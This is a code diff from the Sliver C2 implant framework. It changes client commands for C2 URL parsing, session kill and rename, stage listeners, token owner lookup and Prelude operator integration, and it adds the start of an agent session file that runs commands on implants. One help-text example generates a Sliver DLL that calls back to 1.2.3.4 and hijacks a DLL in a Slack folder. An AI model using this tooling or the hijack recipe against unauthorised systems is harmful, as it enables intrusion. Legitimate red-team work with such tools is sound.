c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -500,9 +487,6 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -519,9 +503,6 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
arg = strings.ReplaceAll(arg, "\\", "/")
arg = strings.TrimPrefix(arg, "/")
arg = strings.TrimPrefix(arg, "/")
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
@@ -535,21 +516,6 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
if !strings.HasPrefix(uri.Path, "/pipe/") {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -582,9 +548,6 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
-4
View File
@@ -100,10 +100,6 @@ func printHelp(con *console.SliverConsoleClient) {
con.Println()
}
}
con.Println()
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
con.Println()
}
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
+4 -4
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.AliasesStr: loadMacrosHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -371,7 +371,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -657,8 +657,8 @@ supplied with the --profile flag.
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
# Use a Sliver generated DLL for the hijack
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
-45
View File
@@ -19,14 +19,10 @@ package info
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
@@ -124,50 +120,9 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil && beacon == nil {
return
}
var isWin bool
con.Printf("Logon ID: ")
if session != nil {
con.Printf("%s\n", session.Username)
if session.GetOS() == "windows" {
isWin = true
}
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
if beacon.GetOS() == "windows" {
isWin = true
}
}
if isWin {
cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if cto.Response != nil && cto.Response.Async {
con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintTokenOwner(cto, con)
})
con.PrintAsyncResponse(cto.Response)
} else {
PrintTokenOwner(cto, con)
}
}
}
func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
if cto.Response != nil && cto.Response.Err != "" {
con.PrintErrorf("%s\n", cto.Response.Err)
return
}
con.PrintInfof("Current Token ID: %s", cto.Output)
}
-35
View File
@@ -26,7 +26,6 @@ import (
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -34,8 +33,6 @@ import (
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -59,39 +56,12 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Profile not found\n")
return
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorect length of AES Key\n")
return
}
// set default aes iv
if aesEncryptIv == "" {
aesEncryptIv = "0000000000000000"
}
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorect length of AES IV\n")
return
}
aesEncrypt = true
}
stage2, err := generate.GetSliverBinary(profile, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if aesEncrypt {
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
case "http":
ctrl := make(chan bool)
@@ -155,9 +125,4 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
if aesEncrypt {
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
+7 -11
View File
@@ -27,7 +27,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/desertbit/grumble"
)
@@ -42,12 +41,12 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if !confirm {
return
}
err := KillSession(session, ctx, con)
err := KillSession(session, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
} else if beacon != nil {
@@ -55,7 +54,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if !confirm {
return
}
err := KillBeacon(beacon, ctx, con)
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -68,31 +67,28 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
Force: force,
})
core.Sessions.Remove(session.ID)
return err
}
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
if beacon == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
BeaconID: beacon.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
Force: force,
})
return err
+3 -23
View File
@@ -23,7 +23,6 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
@@ -41,7 +40,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
AESKey: aesKey,
}
implantMapper := prelude.InitImplantMapper(config)
sessionMapper := prelude.InitSessionMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
@@ -53,28 +52,9 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, session := range sessions.Sessions {
if !session.IsDead {
err = implantMapper.AddImplant(session, nil)
if err != nil {
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
}
}
}
con.PrintInfof("Done !\n")
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get beacon list: %s", err)
return
}
if len(beacons.Beacons) > 0 {
con.PrintInfof("Adding existing beacons ...\n")
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
err = sessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
}
}
con.PrintInfof("Done !\n")
+2 -2
View File
@@ -25,8 +25,8 @@ import (
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.ImplantMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
-4
View File
@@ -41,10 +41,6 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("Terminate failed: %s", err)
return
}
if terminated.Response != nil && terminated.Response.Async {
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
-4
View File
@@ -1,4 +0,0 @@
Reconfig
=========
Commands used to reconfigure beacon/session times and metadata
-96
View File
@@ -1,96 +0,0 @@
package reconfig
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ReconfigCmd - Reconfigure metadata about a sessions
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var err error
var reconnectInterval time.Duration
if ctx.Flags.String("reconnect-interval") != "" {
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
if err != nil {
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
return
}
}
var beaconInterval time.Duration
var beaconJitter time.Duration
if beacon != nil {
if ctx.Flags.String("beacon-interval") != "" {
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
if err != nil {
con.PrintErrorf("Invalid beacon interval: %s\n", err)
return
}
}
if ctx.Flags.String("beacon-jitter") != "" {
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
if err != nil {
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
return
}
if beaconInterval == 0 && beaconJitter != 0 {
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
}
}
}
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
ReconnectInterval: int64(reconnectInterval),
BeaconInterval: int64(beaconInterval),
BeaconJitter: int64(beaconJitter),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if reconfig.Response != nil && reconfig.Response.Async {
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, reconfig)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
con.PrintInfof("Reconfigured beacon\n")
})
con.PrintAsyncResponse(reconfig.Response)
} else {
con.PrintInfof("Reconfiguration complete\n")
}
}
+1 -1
View File
@@ -61,7 +61,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
for _, session := range sessions.Sessions {
keys = append(keys, session.ID)
}
sort.Strings(keys)
sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-2
View File
@@ -111,8 +111,6 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
c2s = append(c2s, wgC2...)
case "https":
fallthrough
case "http":
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
if err != nil {
+1 -1
View File
@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
for _, session := range sessions.GetSessions() {
if session.IsDead {
con.Printf("Pruning session %s ... ", session.ID)
err = kill.KillSession(session, ctx, con)
err = kill.KillSession(session, true, con)
if err != nil {
con.Printf("failed!\n")
con.PrintErrorf("%s\n", err)
@@ -1,8 +1,8 @@
package reconfig
package sessions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,16 +21,18 @@ package reconfig
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// RecnameCmd - Reconfigure metadata about a sessions
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -44,23 +46,24 @@ func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
var beaconID string
var sessionID string
if beacon != nil {
beaconID = beacon.ID
} else if session != nil {
sessionID = session.ID
}
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
SessionID: sessionID,
BeaconID: beaconID,
Name: name,
// Option to change the reconnect interval
reconnect := ctx.Flags.Int("reconnect")
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: oldSession.ID,
Name: name,
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Renamed implant to %s\n", name)
con.ActiveTarget.Set(nil, nil)
con.ActiveTarget.Set(session, nil)
}
+27 -61
View File
@@ -31,7 +31,6 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// SessionsCmd - Display/interact with sessions
@@ -51,12 +50,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if killAll {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
}
return
}
@@ -65,12 +64,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
}
}
return
@@ -81,7 +80,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveTarget.Background()
}
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -111,38 +110,19 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Health",
})
}
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
@@ -162,31 +142,17 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
burned + SessionHealth,
})
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
}
con.Printf("%s\n", tw.Render())
-48
View File
@@ -19,8 +19,6 @@ package settings
*/
import (
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
@@ -45,55 +43,9 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
con.Printf("%s\n", tw.Render())
}
// SettingsAlwaysOverflow - Toggle always overflow
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
}
// SettingsSmallTerm - Modify small terminal width value
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
result := ""
prompt := &survey.Input{Message: "Set small width:"}
err = survey.AskOne(prompt, &result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
newWidth, err := strconv.Atoi(result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if newWidth < 1 {
con.PrintErrorf("Invalid width (too small)\n")
return
}
con.Settings.SmallTermWidth = newWidth
con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
+3 -3
View File
@@ -27,7 +27,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"golang.org/x/term"
"golang.org/x/crypto/ssh/terminal"
)
var (
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
renderedTable := tw.Render()
lineCount := strings.Count(renderedTable, "\n")
if !overflow || con.Settings.AlwaysOverflow {
if !overflow {
// Only paginate if the number of lines is at least 2x the terminal height
width, height, err := term.GetSize(0)
width, height, err := terminal.GetSize(0)
if err == nil && 2*height < lineCount {
if 7 < height {
tw.SetPageSize(height - 6)
-16
View File
@@ -358,14 +358,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
filesystem.PrintLs(ls, flags, "", con)
case sliverpb.MsgMvReq:
mv := &sliverpb.Mv{}
err := proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
case sliverpb.MsgMkdirReq:
mkdir := &sliverpb.Mkdir{}
err := proto.Unmarshal(task.Response, mkdir)
@@ -454,14 +446,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
privilege.PrintGetSystem(getSystem, con)
case sliverpb.MsgCurrentTokenOwnerReq:
cto := &sliverpb.CurrentTokenOwner{}
err := proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
case sliverpb.MsgImpersonateReq:
impersonateReq := &sliverpb.ImpersonateReq{}
err := proto.Unmarshal(task.Response, impersonateReq)
+1 -1
View File
@@ -70,7 +70,7 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
}
if err == nil {
for _, session := range sessions.Sessions {
if strings.HasPrefix(session.ID, id) {
if session.ID == id {
return session, nil, nil
}
}
+4 -14
View File
@@ -195,8 +195,8 @@ func (con *SliverConsoleClient) EventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(session, nil)
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if err != nil {
con.PrintEventErrorf("Could not add session to Operator: %s", err)
}
@@ -220,8 +220,8 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventErrorf("Active session disconnected")
con.App.SetPrompt(con.GetPrompt())
}
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.RemoveImplant(session)
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if err != nil {
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
}
@@ -236,16 +236,6 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
}
}
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
}
-1
View File
@@ -167,7 +167,6 @@ const (
ExecuteStr = "execute"
LsStr = "ls"
MvStr = "mv"
RmStr = "rm"
MkdirStr = "mkdir"
CdStr = "cd"
+166
View File
@@ -0,0 +1,166 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"bytes"
"context"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
type AgentSession struct {
Conn *net.Conn
Session *clientpb.Session
RPC rpcpb.SliverRPCClient
Beacon Beacon
Config AgentConfig
}
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
return &AgentSession{
Conn: c,
Session: s,
RPC: rpc,
Config: conf,
Beacon: b,
}
}
func (a *AgentSession) ReceiveLoop() {
for {
err := a.send()
if err != nil {
return
}
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
message := strings.TrimSpace(scanner.Text())
err = a.respond(message)
if err != nil {
return
}
}
}
}
func (a *AgentSession) send() error {
data, err := json.Marshal(a.Beacon)
if err != nil {
return err
}
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
sendBuffer := make([]byte, 1024)
for {
_, err := dataBuff.Read(sendBuffer)
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
return err
}
time.Sleep(time.Duration(a.Beacon.Sleep))
}
}
func (a *AgentSession) respond(message string) error {
var tempBeacon Beacon
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
a.Beacon.Links = a.Beacon.Links[:0]
a.runLinks(&tempBeacon)
}
a.refreshBeacon(&a.Config)
a.send()
return nil
}
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
link.Response = response
link.Status = status
link.Pid = pid
